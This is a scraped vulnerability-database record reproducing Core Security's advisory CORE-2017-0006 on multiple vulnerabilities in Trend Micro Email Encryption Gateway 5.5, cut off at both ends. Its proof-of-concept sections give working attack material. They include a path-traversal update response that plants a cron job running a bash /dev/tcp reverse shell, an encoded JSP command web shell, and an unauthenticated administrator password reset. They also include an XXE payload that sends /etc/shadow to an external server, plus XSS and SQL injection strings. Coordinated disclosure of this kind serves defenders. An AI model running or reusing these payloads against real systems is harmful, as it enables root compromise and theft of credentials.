rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: */* \nAccept-Language: en-US,en;q=0.5 \nContent-Type: application/x-www-form-urlencoded \nReferer: https://server/policies.jsp \nContent-Length: 39 \nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 \nConnection: close \n \nSearchString=' OR '%1%'='%1 \n-----/ \n \n8. *Report Timeline* \n2017-06-05: Core Security sent an initial notification to Trend Micro, \nincluding a draft advisory. \n2017-06-05: Trend Micro confirmed reception of advisory and informed \nthey will submit it to the relevant technical team for validation and \nreplication. \n2017-06-22: Core Security asked for an update on the vulnerability \nreported. \n2017-06-22: Trend Micro answered saying the cases are still being vetted \nand that they will commit a time when the solution is finalized. \n2017-08-28: Core Security asked again for an update on the vulnerability \nreported. \n2017-08-28: Trend Micro answered saying the team is still in the process \nof creating the official fix for the vulnerabilities, although there is \nstill no official release date. \n2017-10-02: Core Security asked again for an update on the vulnerability \nreported. \n2017-10-02: Trend Micro answered saying the team are still finalizing \nthe fix to ensure all vulnerabilities are covered. \n2017-11-13: Core Security asked again (4th time) for an ETA for the \nofficial fix. We stated we need a release date or a thorough explanation \non why after five months there is still no date defined. If there is no \nsuch answer we will be forced to publish the advisory. \n2017-11-14: Trend Micro answered saying the team is still working on two \nvulnerabilities and due to the complexity and number of vulnerabilities \noverall found, their team requires more time. \n2018-01-16: Core Security asked again (5th time) for an ETA for the \nofficial fix. \n2018-01-23: Trend Micro answered proposing the publication date to be \nFebruary 7th. \n2018-01-24: Core Security thanked Trend Micro's answer and asked if all \nthe vulnerabilities reported in the advisory will be addressed. In \naddition, Core Security asked for CVE-IDs. \n2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be \naddressed and notified Core Security they will send the CVE-IDs when \nhave these assigned. In addition, Trend Micro sent its new PGP key. \n2018-01-29: Core Security thanked Trend Micro's confirmation and agreed \non the proposed release date. \n2018-01-29: Trend Micro answered saying the team found a couple of \nissues during the QA test. Consequently, Trend Micro asked for \nadditional time to fix the remaining vulnerabilities and required a \nseparated disclosure time. \n2018-01-29: Core Security answered its intention to report all the \nvulnerabilities in just one advisory and asked for a timeline for the fix. \n2018-02-01: Core Security asked for an update on the remaining \nvulnerabilities. \n2018-02-02: Trend Micro sent an update and requested a week extension. \n2018-02-02: Core Security thanked Trend Micro's update and agreed to \npostpone the release. \n2018-02-14: Trend Micro answered saying the remaining vulnerabilities \nwill not be addressed in the patch due to its complexity; therefore, \nmitigation steeps will be recommending. Also, Trend Micro proposed \nFebruary 21 as the release date. \n2018-02-14: Core Security thanked Trend Micro's update and agreed on the \nproposed release date. \n2018-02-21: Advisory CORE-2017-0006 published. \n \n9. *References* \n \n[1] \nhttp://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ \n \n \n10. *About CoreLabs* \n \nCoreLabs, the research center of Core Security, is charged with \nanticipating the future needs and requirements for information security \ntechnologies. \nWe conduct our research in several important areas of computer security \nincluding system vulnerabilities, cyber attack planning and simulation, \nsource code auditing, and cryptography. Our results include problem \nformalization, identification of vulnerabilities, novel solutions and \nprototypes for new technologies. CoreLabs regularly publishes security \nadvisories, technical papers, project information and shared software \ntools for public use at: \nhttp://corelabs.coresecurity.com. \n \n11. *About Core Security* \n \nCore Security provides companies with the security insight they need to \nknow who, how, and what is vulnerable in their organization. The \ncompany's threat-aware, identity & access, network security, and \nvulnerability management solutions provide actionable insight and context \nneeded to manage security risks across the enterprise. This shared \ninsight gives customers a comprehensive view of their security posture \nto make better security remediation decisions. Better insight allows \norganizations to prioritize their efforts to protect critical assets, \ntake action sooner to mitigate access risk, and react faster if a breach \ndoes occur. \n \nCore Security is headquartered in the USA with offices and operations in \nSouth America, Europe, Middle East and Asia. To learn more, contact Core \nSecurity at (678) 304-4500 or info@coresecurity.com \n \n12. *Disclaimer* \n \nThe contents of this advisory are copyright (c) 2018 Core Security and \n(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution \nNon-Commercial Share-Alike 3.0 (United States) License: \nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/ \n \n13. *PGP/GPG Keys* \n \nThis advisory has been signed with the GPG key of Core Security advisories \nteam, which is available for download at \nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. \n`\n", "history": [], "description": "", "sourceHref": "https://packetstormsecurity.com/files/download/146508/CORE-2017-0006.txt", "reporter": "Core Security Technologies", "href": "https://packetstormsecurity.com/files/146508/Trend-Micro-Email-Encryption-Gateway-XSS-Code-Execution.html", "type": "packetstorm", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "1c5f533c630247708defd4c0e33958e9"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "05d5949994b0299cdc4a094e13fff215"}, {"key": "modified", "hash": "4f68807986b2eecddc1abcb083476df5"}, {"key": "published", "hash": "4f68807986b2eecddc1abcb083476df5"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "5a822c582501c4bbedc6f29afcd9a5ff"}, {"key": "sourceData", "hash": "720b6b1e26ccfb69a87e103478b50435"}, {"key": "sourceHref", "hash": "717ad9febdd024ab3609202393526447"}, {"key": "title", "hash": "d870331954850ceb84b504ce19e70804"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "viewCount": 5, "references": [], "lastseen": "2018-02-24T00:58:02", "published": "2018-02-21T00:00:00", "objectVersion": "1.3", "cvelist": ["CVE-2018-6226", "CVE-2018-6220", "CVE-2018-6227", "CVE-2018-6228", "CVE-2018-6223", "CVE-2018-6221", "CVE-2018-6230", "CVE-2018-6229", "CVE-2018-6225", "CVE-2018-6222", "CVE-2018-6224", "CVE-2018-6219"], "id": "PACKETSTORM:146508", "hash": "020f1b9b350c10d03f3a013c4c10c5d8bd3090a28c809b39d1682db537bfadf2", "modified": "2018-02-21T00:00:00", "title": "Trend Micro Email Encryption Gateway XSS / Code Execution", "edition": 1, "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 5.2, "vector": "NONE", "modified": "2018-02-24T00:58:02"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:44166"]}, {"type": "zdt", "idList": ["1337DAY-ID-29874"]}, {"type": "cve", "idList": ["CVE-2018-6228", "CVE-2018-6229", "CVE-2018-6219", "CVE-2018-6222", "CVE-2018-6226", "CVE-2018-6230", "CVE-2018-6224", "CVE-2018-6221", "CVE-2018-6220", "CVE-2018-6223"]}], "modified": "2018-02-24T00:58:02"}, "vulnersScore": 5.2}}
{"zdt": [{"lastseen": "2018-03-06T21:07:46", "bulletinFamily": "exploit", "description": "Exploit for jsp platform in category web applications", "modified": "2018-02-22T00:00:00", "published": "2018-02-22T00:00:00", "href": "https://0day.today/exploit/description/29874", "id": "1337DAY-ID-29874", "title": "Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities", "type": "zdt", "sourceData": "Trend Micro Email Encryption Gateway Multiple Vulnerabilities\r\n \r\n1. *Advisory Information*\r\n \r\nTitle: Trend Micro Email Encryption Gateway Multiple Vulnerabilities\r\nAdvisory ID: CORE-2017-0006\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities\r\nDate published: 2018-02-21\r\nDate of last update: 2018-02-21\r\nVendors contacted: Trend Micro\r\nRelease mode: Coordinated release\r\n \r\n2. *Vulnerability Information*\r\n \r\nClass: Cleartext Transmission of Sensitive Information [CWE-319],\r\nExternal Control of File Name or Path [CWE-73], Insufficient\r\nVerification of Data Authenticity [CWE-345], External Control of File\r\nName or Path [CWE-73], Missing Authentication for Critical Function\r\n[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of\r\nXML External Entity Reference [CWE-611], Improper Neutralization of\r\nInput During Web Page Generation ('Cross-site Scripting') [CWE-79],\r\nImproper Neutralization of Input During Web Page Generation ('Cross-site\r\nScripting') [CWE-79], Improper Neutralization of Input During Web Page\r\nGeneration ('Cross-site Scripting') [CWE-79], Improper Neutralization of\r\nSpecial Elements used in an SQL Command [CWE-89], Improper\r\nNeutralization of Special Elements used in an SQL Command [CWE-89],\r\nImproper Neutralization of Special Elements used in an SQL Command\r\n[CWE-89]\r\nImpact: Code execution\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: Yes\r\nCVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,\r\nCVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,\r\nCVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230\r\n \r\n3. *Vulnerability Description*\r\n \r\nTrend Micro's website states that:[1]\r\n \r\nEncryption for Email Gateway is a Linux-based software solution providing\r\nthe ability to perform the encryption and decryption of email at the\r\ncorporate gateway, regardless of the email client, and the platform from\r\nwhich it originated. The encryption and decryption of email on the TMEEG\r\nclient is controlled by a Policy Manager that enables an administrator\r\nto configure policies based on various parameters, such as sender and\r\nrecipient email addresses, keywords, or PCI compliance. Encryption for\r\nEmail Gateway presents itself as an SMTP interface and delivers email\r\nout over an SMTP to configured outbound MTAs. This enables easy\r\nintegration with other email server-based products, be them content\r\nscanners, mail servers, or archiving solutions.\"\r\n \r\nMultiple vulnerabilities were found in the Trend Micro Email Encryption\r\nGateway web console that would allow a remote unauthenticated attacker\r\nto gain command execution as root.\r\n \r\nWe also present two additional vectors to achieve code execution from a\r\nman-in-the-middle position.\r\n \r\n4. *Vulnerable Packages*\r\n \r\n. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)\r\nOther products and versions might be affected, but they were not tested.\r\n \r\n5. *Vendor Information, Solutions and Workarounds*\r\n \r\nTrend Micro published the following Security Notes:\r\n \r\n.\r\nhttps://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities\r\n \r\n6. *Credits*\r\n \r\nThese vulnerabilities were discovered and researched by Leandro Barragan\r\nand Maximiliano Vidal from Core Security Consulting Services. The\r\npublication of this advisory was coordinated by Alberto Solino from Core\r\nAdvisories Team.\r\n \r\n7. *Technical Description / Proof of Concept Code*\r\n \r\nTrend Micro Email Encryption Gateway includes a web console to perform\r\nadministrative tasks. Section 7.4 describes a vulnerability in this\r\nconsole that can be exploited to gain command execution as root. The\r\nvulnerable functionality is accessible only to authenticated users, but\r\nit is possible to combine 7.4 with the vulnerability presented in\r\nsection 7.5 to bypass this restriction and therefore execute root\r\ncommands from the perspective of a remote unauthenticated attacker.\r\n \r\nThe application does also use an insecure update mechanism that allows\r\nan attacker in a man-in-the-middle position to write arbitrary files and\r\ninstall arbitrary RPM packages, leading to remote command execution as\r\nthe root user.\r\n \r\nAdditional Web application vulnerabilities were found, including\r\ncross-site request forgery (7.6), XML external entity injection (7.7),\r\nseveral cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL\r\ninjection vulnerabilities (7.11, 7.12, 7.13).\r\n \r\n7.1. *Insecure update via HTTP*\r\n \r\n[CVE-2018-6219]\r\nCommunication to the update servers is unencrypted. The following URL is\r\nfetched when the application checks for updates:\r\n \r\n/-----\r\n[Request #1]\r\n http://downloads.privatepost.com/files/TMEEG/updates/data.html\r\n-----/\r\n \r\nThe product expects to retrieve a plain-text file with the following\r\nformat:\r\n \r\n/-----\r\n[Version Info]\r\n[Installation RPM file name]\r\n[Path to release notes]\r\n-----/\r\n \r\nIf a new update is found, then the RPM file is downloaded from the\r\nfollowing URL:\r\n \r\n/-----\r\n[Request #2]\r\nhttp://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM\r\nfile name]\r\n-----/\r\n \r\nThis means that the product does not do any kind of certificate\r\nvalidation or public key pinning, which makes it easier for an attacker\r\nto eavesdrop and tamper the data.\r\n \r\n7.2. *Arbitrary file write leading to command execution*\r\n \r\n[CVE-2018-6220]\r\nThe following code snippet is responsible for downloading the update\r\nfile (com/identum/pmg/web/CheckForUpdates.java):\r\n \r\n/-----\r\nFileDownload fd = new FileDownload();\r\nif (!fd.download(updateURLRoot + \"/\" + rpmFileName, \"/tmp/\" +\r\nrpmFileName)) {\r\n return 10;\r\n}\r\n[...]\r\n-----/\r\n \r\nThe rpmFileName variable is controlled by the attacker, as it is taken\r\nfrom the aforementioned update file. As a consequence, the attacker\r\ncontrols the path where the update file is going to be downloaded. The\r\nRPM file is written by the root user with 0644 permissions. Being able\r\nto write to the file system as root opens the door to several code\r\nexecution vectors on Linux machines.\r\n \r\nIn this PoC we present one vector which consist on creating a cron job\r\non /etc/cron.d directory.\r\n \r\nThe attacker can send the following response to [Request #1]:\r\n \r\n/-----\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/7.5\r\nX-Powered-By: ASP.NET\r\nDate: Tue, 23 May 2017 14:39:46 GMT\r\nConnection: close\r\nContent-Length: 26\r\n \r\n5.7\r\n../../../../../../../etc/cron.d/test\r\ntest.html\r\n-----/\r\n \r\nAs a result, the server will create the file /etc/cron.d/test. Its\r\ncontents are also controlled by the attacker. When the update launches,\r\nthe appliance will download it from the following URL:\r\n \r\n/-----\r\nhttp://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test\r\n-----/\r\n \r\nThe attacker can tamper the server's response and inject arbitrary data,\r\nsuch as a reverse shell payload:\r\n \r\n/-----\r\n* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1\r\n-----/\r\n \r\ngaining code execution upon exploitation:\r\n \r\n/-----\r\n$ sudo nc -lvvp 1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n52171)\r\nbash: no job control in this shell\r\n[[email\u00a0protected] localhost ~]# id\r\nuid=0(root) gid=0(root)\r\ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)\r\ncontext=user_u:system_r:unconfined_t\r\n-----/\r\n \r\n7.3. *Unvalidated software updates*\r\n \r\n[CVE-2018-6221]\r\nThe update mechanism described in 7.2 does not validate the RPM file\r\ndownloaded.\r\n \r\nAn attacker in a man-in-the-middle position could tamper with the RPM\r\nfile and inject its own.\r\n \r\nThe following code snippet is responsible for installing the unvalidated\r\nRPM (com/identum/pmg/web/CheckForUpdates.java):\r\n \r\n/-----\r\ntry\r\n {\r\n System.out.println(\"running file:\");\r\n System.out.println(\"rpm --upgrade --nodeps /tmp/\" + rpmFileName);\r\n \r\n Process process = Runtime.getRuntime().exec(\"rpm --upgrade\r\n--nodeps /tmp/\" + rpmFileName);\r\n [..]\r\n {\r\n-----/\r\n \r\nIn the following Proof of Concept, we crafted a malicious RPM file that\r\nexecutes a reverse shell once opened. This can be achieved by adding a\r\nreverse shell script to %pre section of RPM's SPEC file, which is\r\nexecuted previous to any installation step. As can be seen, this results\r\nin code execution as root:\r\n \r\n/-----\r\n$ sudo nc -lvvp 1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n40445)\r\nbash: no job control in this shell\r\n[[email\u00a0protected] localhost /]# id\r\nuid=0(root) gid=0(root)\r\ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)\r\ncontext=root:system_r:rpm_script_t:SystemLow-SystemHigh\r\n-----/\r\n \r\n7.4. *Arbitrary logs location leading to command execution*\r\n \r\n[CVE-2018-6222]\r\nThe location of the log files can be changed in the logConfiguration.do\r\npage. MimeBuildServer logs are particularly interesting because its\r\ncontents can be controlled by an attacker.\r\n \r\nThe first step is to point the log file to the Web application root. The\r\nfollowing request redirects MimeBuildServer logs to\r\n/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:\r\n \r\n/-----\r\nPOST /logConfiguration.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/logConfiguration.do\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 798\r\nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\nclient0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback\r\n-----/\r\n \r\nThe second step is to update the MimeBuilder configuration and insert\r\narbitrary JSP code. One candidate is the \"Encrypted meeting request\r\nemail message\" form.\r\n \r\n/-----\r\nPOST /mimebuilderconfig.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/MimeBuilderConfig.do\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 2915\r\nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\naddEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback\r\n-----/\r\n \r\nThe next time the service components are restarted, the log file will be\r\ncreated with the desired JSP code.\r\n \r\nWith the sample JSP code from the previous request, the attacker would\r\nthen navigate to pepito.jsp and execute arbitrary commands as root:\r\n \r\n/-----\r\nhttps://[server]/pepito.jsp?cmd=id\r\n \r\nCommand: id\r\n \r\nuid=0(root) gid=0(root) context=system_u:system_r:java_t\r\n-----/\r\n \r\n7.5. *Missing authentication for appliance registration*\r\n \r\n[CVE-2018-6223]\r\nThe registration endpoint is provided for system administrators to\r\nconfigure the virtual appliance upon deployment. However, this endpoint\r\nremains accessible without authentication even after the appliance is\r\nconfigured, which would allow attackers to set configuration parameters\r\nsuch as the administrator username and password.\r\n \r\nThe following request changes the administrator password to \"sombrero\":\r\n \r\n/-----\r\nPOST /register.jsp HTTP/1.1\r\nHost: [server]\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 414\r\n \r\naction=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&[email\u00a0protected]&contactName=Test+Test&[email\u00a0protected]&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero\r\n-----/\r\n \r\nNote that a valid activation code is required. This code can be easily\r\nobtained by requesting a trial from Trend Micro's website.\r\n \r\n7.6. *Lack of cross-site request forgery protection*\r\n \r\n[CVE-2018-6224]\r\nThere are no Anti-CSRF tokens in any forms on the Web interface. This\r\nwould allow an attacker to submit authenticated requests when an\r\nauthenticated user browses an attacker-controlled domain.\r\n \r\nThis vulnerability can be chained with 7.4 and lead to remote command\r\nexecution. It could also be abused to force updates once the attacker is\r\nin a man-in-the-middle position to exploit 7.2 or 7.3, which would also\r\nlead to remote command execution.\r\n \r\nThe following proof of concept starts the check for updates process.\r\n \r\n/-----\r\n<html>\r\n <body>\r\n <script>history.pushState('', '', '/')</script>\r\n <form action=\"https://[server]/checkForUpdates.do\">\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n-----/\r\n \r\n7.7. *XML external entity injection in configuration.jsp*\r\n \r\n[CVE-2018-6225]\r\nThe pciExceptionXml parameter of the configuration.jsp script is\r\nvulnerable to XML external entity injection.\r\n \r\nThe following proof of concept uses external entities to send the\r\n/etc/shadow file to an external server.\r\n \r\n/-----\r\nPOST /configuration.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 938\r\nCookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\n \r\nincomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f>\r\n<!DOCTYPE+roottag+[\r\n+<ENTITY+%25+file+SYSTEM+\"file%3a///etc/shadow\">\r\n+<!ENTITY+%25+dtd+SYSTEM+\"http%3a//external_server/combine.dtd\">\r\n%25dtd%3b]>\r\n<ci_exceptions><pci_exception+enabled%3d\"true\"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d\"true\"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d\"true\"><start><head/></start></pci_exception></pci_exceptions>\r\n-----/\r\n \r\nThe combine.dtd file is hosted on an external server, and its contents\r\nare:\r\n \r\n/-----\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!ENTITY % all \"<!ENTITY send SYSTEM\r\n'gopher://external_server:1080/?%file;'>\">\r\n%all;\r\n \r\n$ sudo nc -lvvp 1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n49676)\r\nroot:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::\r\nbin:*:14089:0:99999:7:::\r\ndaemon:*:14089:0:99999:7:::\r\nadm:*:14089:0:99999:7:::\r\nlp:*:14089:0:99999:7:::\r\nsync:*:14089:0:99999:7:::\r\nshutdown:*:14089:0:99999:7:::\r\nhalt:*:14089:0:99999:7:::\r\nmail:*:14089:0:99999:7:::\r\nnews:*:14089:0:99999:7:::\r\nuucp:*:14089:0:99999:7:::\r\noperator:*:14089:0:99999:7:::\r\ngames:*:14089:0:99999:7:::\r\ngopher:*:14089:0:99999:7:::\r\nftp:*:14089:0:99999:7:::\r\nnobody:*:14089:0:99999:7:::\r\nrpm:!!:14089:0:99999:7:::\r\ndbus:!!:14089:0:99999:7:::\r\nexim:!!:14089:0:99999:7:::\r\nnscd:!!:14089:0:99999:7:::\r\nvcsa:!!:14089:0:99999:7:::\r\nrpc:!!:14089:0:99999:7:::\r\nsshd:!!:14089:0:99999:7:::\r\npcap:!!:14089:0:99999:7:::\r\nhaldaemon:!!:14089:0:99999:7:::\r\npostgres:!!:14090::::::\r\ntomcat:!!:14090:0:99999:7:::\r\nxfs:!!:14179::::::\r\npostfix:!!:14194::::::\r\n-----/\r\n \r\nThese actions require the user to be authenticated within the Web\r\nconsole, so an attacker would need to obtain valid credentials first.\r\nPossible vectors to achieve this include exploiting any of the XSS\r\nissues described in 7.8, 7.9 and 7.10, or leveraging the XSRF\r\nvulnerability described in 7.6.\r\n \r\n7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*\r\n \r\n[CVE-2018-6226]\r\nThe deniedKeysExpireTimeout and keyAge parameters of the\r\nkeymanserverconfig.jsp script are vulnerable to cross-site scripting.\r\n \r\nThe following is a proof of concept to demonstrate the vulnerability:\r\n \r\n/-----\r\nhttps://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback\r\n-----/\r\n \r\n7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*\r\n \r\n[CVE-2018-6226]\r\nThe following parameters of the mimebuilderconfig.jsp script are\r\nvulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,\r\nmeetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,\r\nzdMainTemplate, zdMainTemplateZdv4.\r\n \r\nThe following is a proof of concept to demonstrate the vulnerability:\r\n \r\n/-----\r\nhttps://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E\r\n-----/\r\n \r\n7.10. *Stored cross-site scripting in editPolicy.jsp*\r\n \r\n[CVE-2018-6227]\r\nThe hidEmails parameter of the editPolicy.jsp script is vulnerable to\r\ncross-site scripting.\r\n \r\nThe following request adds a policy for the email 